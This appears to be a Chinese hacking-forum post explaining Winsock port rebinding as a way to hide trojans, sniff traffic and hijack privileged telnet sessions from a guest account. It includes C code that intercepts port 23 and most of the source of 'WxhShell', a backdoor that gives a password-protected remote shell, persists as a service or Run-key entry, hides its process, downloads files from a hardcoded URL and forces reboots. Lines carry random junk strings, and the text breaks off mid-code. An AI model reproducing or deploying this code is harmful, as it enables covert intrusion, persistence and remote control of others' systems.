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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: TZarI-A  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <M\#7.](  
{-yw@Kq  
  saddr.sin_family = AF_INET; YyC$\HH6  
>FL%H=]  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Tlk!6A:  
*++}ll6  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ![m6$G{y  
ilQt`-O!  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 //yz$d>JN  
COA>y?  
  这意味着什么?意味着可以进行如下的攻击: 8/-hODoT_  
5B;;{GR  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 VRUA<x  
JC7:0A^  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) H)5"<=]  
?F|F~A8dr  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 5zH_yZ@+  
3/8<dc  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Y5<W"[B!  
:%IB34e  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ^-(DokdBn  
8#RL2)7Uy`  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。  x(A6RRh  
{Bb:\N8X  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 2FEi-m}  
w+hpi5OH  
  #include |^OK@KdL1  
  #include 1/c+ug!y  
  #include % ejq|i7  
  #include    BxesoB  
  DWORD WINAPI ClientThread(LPVOID lpParam);   @E=77Jn[px  
  int main() <BK?@Xy  
  { ghW  
  WORD wVersionRequested; eqqnR.0  
  DWORD ret; *Z3b6X'e  
  WSADATA wsaData; /$|-!e<5b\  
  BOOL val; o>HGfr,N  
  SOCKADDR_IN saddr; |q Pu*vR  
  SOCKADDR_IN scaddr; 2 e&M/{  
  int err; eCG{KCM~_Z  
  SOCKET s; mnU8i=v0 A  
  SOCKET sc; p+${_w>pl{  
  int caddsize; euET)Ccq  
  HANDLE mt; 5`q#~fJ2  
  DWORD tid;   1?,C d  
  wVersionRequested = MAKEWORD( 2, 2 ); p,7?rI\N  
  err = WSAStartup( wVersionRequested, &wsaData ); ~\ v"xV  
  if ( err != 0 ) { -a7BVEFts  
  printf("error!WSAStartup failed!\n"); d5n>2iO  
  return -1; lF\2a&YRbn  
  } S(_DR 8  
  saddr.sin_family = AF_INET; EEiWIf&S,  
   'AZxR4W  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了  J {$c|  
kT:?1w'  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); c9+yU~(  
  saddr.sin_port = htons(23); UtHloq(r  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) J@qLBe(v  
  { 0KjCM4t  
  printf("error!socket failed!\n"); gq~"Z[T  
  return -1; mBQpf/PG  
  } 54oJ MW9  
  val = TRUE; \og2\Oh&gH  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 TwKi_nh2m  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) =tl~@~pqI  
  { Px gul7  
  printf("error!setsockopt failed!\n"); _!9I f  
  return -1; Op hD_^  
  } GF*uDJ Kp  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 9rT"_d#  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 A| y U'k  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 \ !IEZ  
P[jh^!<j  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) lz _ r  
  { IaO*{1re  
  ret=GetLastError(); xsU3c0wbr8  
  printf("error!bind failed!\n"); Wl]XOUZ  
  return -1; kR{$&cE^  
  } M*aYcIU((  
  listen(s,2); NosOd*S  
  while(1) )#sN#ZR$  
  { j3j^cO[8v  
  caddsize = sizeof(scaddr); m",G;VN  
  //接受连接请求 N[N4!k )!$  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ."`||@|  
  if(sc!=INVALID_SOCKET) 7t+H94KG7  
  { LVdtI  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); nIqF:6/  
  if(mt==NULL) A:5P  
  { X,D ]S@  
  printf("Thread Creat Failed!\n"); ]hZk #rp}  
  break; GK#D R/OM  
  } D[{"]=-  
  } VREDVLQT  
  CloseHandle(mt); 8#HQ05q>  
  } 0f9U:)1z  
  closesocket(s); <}F(G-kV6  
  WSACleanup(); )M8@|~~  
  return 0; ,Bj]j -\Y  
  }   vgi`.hk  
  DWORD WINAPI ClientThread(LPVOID lpParam) .I%B$eH  
  { f4 vdJ5pV  
  SOCKET ss = (SOCKET)lpParam; >2NsBS(  
  SOCKET sc; YB(8 T"  
  unsigned char buf[4096]; k7M{+X6[  
  SOCKADDR_IN saddr; 7**zO3 H  
  long num; ::@JL  
  DWORD val; J!}R>mR  
  DWORD ret; m<!CF3g  
  //如果是隐藏端口应用的话,可以在此处加一些判断 rw?wlBEG%  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !04 ^E  
  saddr.sin_family = AF_INET; AG"iS<u  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); pqe%tRH{  
  saddr.sin_port = htons(23); FA;B :O@:'  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) JvS ~.g1  
  { KVoM\ttP  
  printf("error!socket failed!\n"); AOx8OiqE:  
  return -1; TJuS)AZ C  
  } /mwDVP<z /  
  val = 100; S5~(3I )v  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) GqgJ]m  
  { e' |c59E  
  ret = GetLastError(); 2hTsjJ!'  
  return -1; (A-Uo   
  } y|3!E>Up  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'Z nJd j  
  { etk|%%J  
  ret = GetLastError(); oUB9)C~  
  return -1; mFE7#OM  
  } >"Zn# FY  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) {_ZbPPh;M"  
  { 4}] In/yA  
  printf("error!socket connect failed!\n"); !k#N] 9D3  
  closesocket(sc); |@hyGu-H+  
  closesocket(ss); @Y#TWt#  
  return -1; X"%eRW&qu/  
  } ^b*ub(5Ot  
  while(1) am/D$ (l1  
  { 2SKtdiY  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 eGo$F2C6E  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 4ZB]n,pfT  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 NU[Wj uLG  
  num = recv(ss,buf,4096,0); >uE<-klv  
  if(num>0) eYPIZ{S7h  
  send(sc,buf,num,0); ZQmg;L&7  
  else if(num==0) $BOpjDV8  
  break; {<i(aq?  
  num = recv(sc,buf,4096,0); ""jl  
  if(num>0) RI BB*  
  send(ss,buf,num,0); NSQ)lSW,;  
  else if(num==0) M* dou_Q  
  break; Qd}h:U^  
  } '(8} <(%  
  closesocket(ss); ryTtGx%a  
  closesocket(sc); l{V(Y$xp3  
  return 0 ; V_KHVul  
  } .iST!nh  
=HMuAUa.  
YW"nPZNPy~  
========================================================== nDNK}O~'  
'f6!a5qC  
下边附上一个代码,,WXhSHELL O\w-hk  
bLUyZ3m!  
========================================================== <O{G&  
6lwWFR+k  
#include "stdafx.h" VGOdJ|2]Wr  
8,:lw3x1  
#include <stdio.h> Gn<e&|4>i}  
#include <string.h> I!.-}]k  
#include <windows.h> UBx0Z0Y  
#include <winsock2.h> zZS,<Z  
#include <winsvc.h> d)0 hAdh  
#include <urlmon.h> epP_~TU  
E,[v%Xw   
#pragma comment (lib, "Ws2_32.lib") D~,i I7ac  
#pragma comment (lib, "urlmon.lib") TH+TcYqO  
CDDEWVd  
#define MAX_USER   100 // 最大客户端连接数 hxGo~<. :  
#define BUF_SOCK   200 // sock buffer `[tYe<  
#define KEY_BUFF   255 // 输入 buffer QtOT'<2t]  
RG- ,<G`  
#define REBOOT     0   // 重启 7Ur'@wr  
#define SHUTDOWN   1   // 关机 {tnhP^C3>  
-i4hJC!3  
#define DEF_PORT   5000 // 监听端口 pFEU^]V3*  
C0L(ti;  
#define REG_LEN     16   // 注册表键长度 +b{tk=Q:  
#define SVC_LEN     80   // NT服务名长度 &9xcP.3  
[8[`V)b  
// 从dll定义API fjS#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kFi=^#J{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8+~'T|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;5}"2hU>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G)%r|meKGB  
"=0JYh)%_  
// wxhshell配置信息 !XY}\zKq  
struct WSCFG { NaeG)u#+  
  int ws_port;         // 监听端口 x%RE3J-  
  char ws_passstr[REG_LEN]; // 口令 jDW$}^ 6  
  int ws_autoins;       // 安装标记, 1=yes 0=no {!"lHM%  
  char ws_regname[REG_LEN]; // 注册表键名 $"Nqto~  
  char ws_svcname[REG_LEN]; // 服务名 fJn4'Q*U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {|tMN,Z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $HV`bJ5!L*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 U?ZxQj66}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `e5f69"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6)9X+U@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \X;)Kt"  
1i 6>~  
}; =7zvp,B  
5R O_)G<  
// default Wxhshell configuration ]$A6krfh|  
struct WSCFG wscfg={DEF_PORT, E D_J8 +  
    "xuhuanlingzhe", )eBCO~HS  
    1, J8h H#7WMS  
    "Wxhshell", 1@Rl^ey  
    "Wxhshell", =z2g}X  
            "WxhShell Service", ]ov"&,J  
    "Wrsky Windows CmdShell Service", R<ZyP~  
    "Please Input Your Password: ", HuajdC~  
  1, YuzgR;Z  
  "http://www.wrsky.com/wxhshell.exe", $9<P3J 1  
  "Wxhshell.exe" y?V#LW[^E  
    }; RZI4N4o  
&fwb?Vn4  
// 消息定义模块 u]t#Vf-$u  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; o&rNM5:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )n$RHt+:>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; T28Q(\C:}  
char *msg_ws_ext="\n\rExit."; C?PgC~y)  
char *msg_ws_end="\n\rQuit."; +p &$`(  
char *msg_ws_boot="\n\rReboot..."; {I QCA-AI  
char *msg_ws_poff="\n\rShutdown..."; WSV% Oy3V  
char *msg_ws_down="\n\rSave to "; ~`VD}{[,B  
=%d0MZD  
char *msg_ws_err="\n\rErr!"; 3HB(rTw  
char *msg_ws_ok="\n\rOK!"; Ndqhc  
W$u/tRF  
char ExeFile[MAX_PATH]; 3?yq*uE}  
int nUser = 0; l1}HJmom  
HANDLE handles[MAX_USER]; mV'^4by  
int OsIsNt; I$1~;!<  
#jX%nqMxW  
SERVICE_STATUS       serviceStatus; 7f q\ H{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; M1=y-3dW3  
#W=H)6  
// 函数声明 qvN 5[rb  
int Install(void); F$H^W@<w  
int Uninstall(void); OEj%cB!  
int DownloadFile(char *sURL, SOCKET wsh); 7a'@NgiGg  
int Boot(int flag); 4(}V$#^+  
void HideProc(void); (khMjFOg  
int GetOsVer(void); {#uf#J|  
int Wxhshell(SOCKET wsl); 5\P3JoH:Yg  
void TalkWithClient(void *cs); ~er4w+"  
int CmdShell(SOCKET sock); d i#:KW  
int StartFromService(void); NFlrr*=t>  
int StartWxhshell(LPSTR lpCmdLine); %z AN@  
.5?Md  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >tVD[wVF0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "(SZ;y  
|>AHc_:$$  
// 数据结构和表定义 3']=w@~ O[  
SERVICE_TABLE_ENTRY DispatchTable[] = Lw #vHNf6  
{ aG/L'weR  
{wscfg.ws_svcname, NTServiceMain}, j?9fb  
{NULL, NULL} 4Nz]LK%@  
}; \J3n[6;  
X4:SH> U!  
// 自我安装 uOnyU+fZV  
int Install(void) +#0,2 wR#  
{ ttC+`0+H  
  char svExeFile[MAX_PATH]; ~:lN("9OI  
  HKEY key; mRC6m K>  
  strcpy(svExeFile,ExeFile); \j3XT}  
7Ys\=W1  
// 如果是win9x系统,修改注册表设为自启动 rD SUhO{V  
if(!OsIsNt) { $sR-J'EE!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <)$b=z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jCv%[H7  
  RegCloseKey(key); i2+vUl|;Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *L~88-V^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Na2n4x!  
  RegCloseKey(key); (.54`[2+L  
  return 0; 5Rec~&v  
    } Sej\Gt  
  } E;C=V2#>[  
} >\c"U1%E  
else { +idp1SJ4  
6N.+  
// 如果是NT以上系统,安装为系统服务 l:rT{l=8*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); a#:K"Mf.  
if (schSCManager!=0) ^zVBS7`J  
{ .|9o`mF7  
  SC_HANDLE schService = CreateService >@NGX-gp  
  ( EkEU}2  
  schSCManager, pUXszPf  
  wscfg.ws_svcname, b(.,Ex]  
  wscfg.ws_svcdisp, orzy &4  
  SERVICE_ALL_ACCESS, o{wXq)b  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , nPS:T|*G  
  SERVICE_AUTO_START, X[ up$<  
  SERVICE_ERROR_NORMAL, $S _VR  
  svExeFile, a4iq_F#NF  
  NULL, 4P\?vz"  
  NULL, *wetPt)~v_  
  NULL, x nm!$ $W  
  NULL, G.#sX  
  NULL v&i,}p^M5  
  ); T1Y_Jf*KJ  
  if (schService!=0) l&1R`gcW  
  { nofK(0TF  
  CloseServiceHandle(schService); juc;]CHt'  
  CloseServiceHandle(schSCManager); geB]~/-p  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ue22,Pp6  
  strcat(svExeFile,wscfg.ws_svcname); 8f0Ytfhw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { e+=P)Zp/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^6U0n!nU  
  RegCloseKey(key); M8wEy_XB1  
  return 0; I>L@ P`d  
    } Lw!Q*3c  
  } 7 -Yn8Gq  
  CloseServiceHandle(schSCManager); @on\@~Ug  
} 5*W<6ia  
} F ak"u'~  
=`MU*Arcs[  
return 1; v{dvB:KP5X  
} pl.K*9+  
rWo&I _{  
// 自我卸载 ?pJUbZ#J  
int Uninstall(void) ;jgJI~3l  
{ =(Ll}V,  
  HKEY key; -h/KrB  
>^fkHbgNQ  
if(!OsIsNt) { eQvdi|6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S=bdue  
  RegDeleteValue(key,wscfg.ws_regname); ^Gs=U[**  
  RegCloseKey(key); %[9d1F 3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~HH6=qjU)  
  RegDeleteValue(key,wscfg.ws_regname); ;5fq[v^P:  
  RegCloseKey(key); 4dwG6-  
  return 0; K^'NG!  
  } Os# V=P  
} J_=42aHO  
} M)1? $'Aq  
else { T8ftBIOi  
^5yFb=2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); lB Y"@N  
if (schSCManager!=0) L~])?d  
{ ]VU a $$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); g,N"o72)  
  if (schService!=0) IfdgMELk  
  { MSw:Ay [9  
  if(DeleteService(schService)!=0) { Y79{v nlGk  
  CloseServiceHandle(schService); X( H-U q*(  
  CloseServiceHandle(schSCManager); g^dPAjPQ  
  return 0; sZ!/uN!6  
  } CI };$4W~  
  CloseServiceHandle(schService); hn bF}AD  
  } C/{tvY /o  
  CloseServiceHandle(schSCManager); eZ^-gk?  
} -:|1>og  
} &b#O=LF  
))qOsphN  
return 1; 4x'N#m{p  
} U%~L){<V[  
[N-t6Z*  
// 从指定url下载文件 +%hA 6n  
int DownloadFile(char *sURL, SOCKET wsh) U[Pll~m2b  
{ C {GSf`D!T  
  HRESULT hr; -`o22G3w  
char seps[]= "/"; 8=#J:LeXj  
char *token; w9J^s<e  
char *file; RI q9wD}4(  
char myURL[MAX_PATH]; xxlYn9ke  
char myFILE[MAX_PATH]; "$VqOSo  
@+3@Z?!SZ  
strcpy(myURL,sURL); i"{ \ >  
  token=strtok(myURL,seps); x3JX}yCX  
  while(token!=NULL) c9 UJ=  
  { A $9^JF0$  
    file=token; `2M`;$~ 5  
  token=strtok(NULL,seps); )OAd[u<  
  } h* to%N  
T!T6M6?  
GetCurrentDirectory(MAX_PATH,myFILE); 6] ~g*]T  
strcat(myFILE, "\\"); :$`"M#vMX  
strcat(myFILE, file); `]{/(pIgW;  
  send(wsh,myFILE,strlen(myFILE),0); !\0UEC  
send(wsh,"...",3,0); nM)q;9-ni  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _FET$$>z N  
  if(hr==S_OK) ;c-J)Ky  
return 0; Q@in?};  
else 1Ue;hu'q:  
return 1; V*m@Rs!)2  
G@O~*k1v  
} <L1;aNN  
0pSqk/  
// 系统电源模块 |G5Me  
int Boot(int flag) %b H1We  
{ KKz{a{ePY%  
  HANDLE hToken; ;eG,T-:  
  TOKEN_PRIVILEGES tkp; L %[om c?  
u H}cvshv  
  if(OsIsNt) { o0nKgq'w|x  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); J8T?=%?=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); EMDsi2  
    tkp.PrivilegeCount = 1; /idQfff  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ="$9 <wt  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2\Vzfca  
if(flag==REBOOT) { jORU+g  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Z>)(yi9+  
  return 0; V'";u?h#S  
} >&|C E2'  
else { _7AR2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) BnLM;5 >  
  return 0; ? (&)p~o  
} /5ngPHy&  
  } bN6FhKg|  
  else { cI9}YSk  
if(flag==REBOOT) { ~v 2E<S3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +w ;2kw  
  return 0; A{5^A)$  
} *20$u% z2  
else { <_S>-;by  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ZYy,gu<  
  return 0; Q)\~=/L b  
} y^o*wz:D*  
} bIR AwktD  
Q1fJ`A=  
return 1; r*|#*"K"a  
} ay\e# )  
?I6us X9$  
// win9x进程隐藏模块 nV|H5i;N7  
void HideProc(void) _]~gp.  
{ NArql  
%"2 ;i@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); IpX>G]"-C  
  if ( hKernel != NULL ) ^6*2a(S&  
  { d66 GO];"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); JsfX&dX0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,;aELhMZ  
    FreeLibrary(hKernel); *(%]|z}]m  
  } fZqMznF  
nQ*9|v4  
return; E,]G Ek  
} 'WEypz  
;+%(@C51GE  
// 获取操作系统版本 zCvt"!}RRa  
int GetOsVer(void) n+Ia@ $|m  
{ n M +(  
  OSVERSIONINFO winfo; wic& $p/%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }n+#o!uEf  
  GetVersionEx(&winfo); eIz T(3(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vZHm'  
  return 1; de?Bn+mvi.  
  else ]]\\Y|0  
  return 0; 3d qj:4[f  
} ,k*g `OTW  
l2))StEm  
// 客户端句柄模块 tpJe1J<  
int Wxhshell(SOCKET wsl) &-Bw7v  
{ mHqw,28}  
  SOCKET wsh; 2|xNT9RW  
  struct sockaddr_in client; r Z0+mS'/G  
  DWORD myID; pDGX$1O"  
X>C l{.  
  while(nUser<MAX_USER) B|Y6;4?  
{ vJ__jO"Sq  
  int nSize=sizeof(client); rkF]Q_'`t;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |IbCN  
  if(wsh==INVALID_SOCKET) return 1; `K.2&6xc  
0B0Uay'd_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); lx8@;9fLy  
if(handles[nUser]==0) UenB4  
  closesocket(wsh); O7p>"Bh  
else p`@7hf|hm  
  nUser++; [b-wak})aD  
  } >[]@Df,p  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); LTGKs^i4  
K5O8G  
  return 0; /Ulv/Thl  
} 4ZY0!'be-R  
,qF;#nB-  
// 关闭 socket g5gq {KlU  
void CloseIt(SOCKET wsh) #&JhA2]q  
{ j[z o~Y4z  
closesocket(wsh); #HjiE  
nUser--; Ww9%6 #i t  
ExitThread(0); &,pL3Qos  
} =2[5 g!qX  
'.jr" 3u  
// 客户端请求句柄 C NDf&dzX8  
void TalkWithClient(void *cs) [89qg+z  
{ K3QE>@']  
h|^RM*x  
  SOCKET wsh=(SOCKET)cs; Zi&qa+F  
  char pwd[SVC_LEN]; Nf.6:=  
  char cmd[KEY_BUFF];  `Pa)H  
char chr[1]; cNi)[2o7  
int i,j; M_wqb'=  
/%w9F  
  while (nUser < MAX_USER) { KkVFY+/)  
=Ri'Pr x&  
if(wscfg.ws_passstr) { ,G,'#]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "pdq_35  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W,<P])  
  //ZeroMemory(pwd,KEY_BUFF); M=Y}w?  
      i=0; DH(Q md  
  while(i<SVC_LEN) { V=)0{7-9  
)24c(  
  // 设置超时 t2)S61Vr  
  fd_set FdRead; R5iv]8X4W  
  struct timeval TimeOut; o"5Bg%H  
  FD_ZERO(&FdRead); \`:X37n)0q  
  FD_SET(wsh,&FdRead); 2&st/y(hs  
  TimeOut.tv_sec=8; %#!pAUP\&  
  TimeOut.tv_usec=0; F9DY\EI  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [X +E  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Q~R7]AyR  
S GAu.8Js  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )<w`E{q  
  pwd=chr[0]; 6\MH2&L<  
  if(chr[0]==0xd || chr[0]==0xa) { >j [> 0D  
  pwd=0; YzTmXwuA5  
  break; F`W8\u'db  
  } 739J] M  
  i++; g. V6:>,  
    } )sWC5\  
yH\z+A|  
  // 如果是非法用户,关闭 socket E^uWlUb{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7M~w05tPh  
} +}IOTw" O`  
}yde9b?F  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >heFdKq1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a<-'4D/  
rFY% fo  
while(1) { nJ !`^X5I  
qA4w*{JN  
  ZeroMemory(cmd,KEY_BUFF); yDwG,)m 4s  
;t'~  
      // 自动支持客户端 telnet标准   &X 0qH8W  
  j=0; }O+F#/6  
  while(j<KEY_BUFF) { o.qeF4\d6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <k2Qcicy  
  cmd[j]=chr[0];  2=X\G~a  
  if(chr[0]==0xa || chr[0]==0xd) { ?NV3]vl  
  cmd[j]=0; ~-r*2bR  
  break; P<AN`un  
  } 2rS|V|d  
  j++; |Qq_;x]  
    } ,j{$SuZ M  
J|k~e,C  
  // 下载文件 dW3q  
  if(strstr(cmd,"http://")) { 1aC ?*,e?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); zLQplw`#  
  if(DownloadFile(cmd,wsh)) F<'@T,LVc  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); sq6|J])GgU  
  else TCW[;d  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `(j}2X'[  
  } Hu"?wZj  
  else { 2Z3c`/k  
%]/O0#E3Kz  
    switch(cmd[0]) { &yFt@g]  
  ~(2G7x)  
  // 帮助 &"vh=Z-  
  case '?': { 9v_B$F$_T  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0QE2e'}}-  
    break; XWQp-H.  
  } joa|5v'  
  // 安装 : b^\O  
  case 'i': { ]YF[W`2h  
    if(Install()) aBX^Wd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y<X,(\iEHP  
    else y}NBJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O=wA/T=w?  
    break; vM5u]u!  
    } }gY:VDW  
  // 卸载 !oTF2Q+C  
  case 'r': { 9p ;)s  
    if(Uninstall()) S^}@X?v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $<jI<vD+:  
    else -3 }  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +we3BE.  
    break; p9*#{~   
    } jPG&Ypm1   
  // 显示 wxhshell 所在路径 Q_<CG[,6D1  
  case 'p': { X( m&  
    char svExeFile[MAX_PATH]; !^ko"^p  
    strcpy(svExeFile,"\n\r"); ZU%7m_zO  
      strcat(svExeFile,ExeFile); (/J$2V5-  
        send(wsh,svExeFile,strlen(svExeFile),0); 4zyy   
    break; !"\UT&  
    } LD]>_P83  
  // 重启 4u;db_gX  
  case 'b': { sWp]Zy  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \TM%,RC3K  
    if(Boot(REBOOT)) \hSOJ,{)U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~2Jvb[IM  
    else { p"Ki$.Y  
    closesocket(wsh); y:Ycn+X.  
    ExitThread(0); o g.LD7&/  
    } Fwn4c4-%  
    break; {9wBb`.n^  
    } #8.%YG  
  // 关机 Snx_NH#tA  
  case 'd': { I~lX53D  
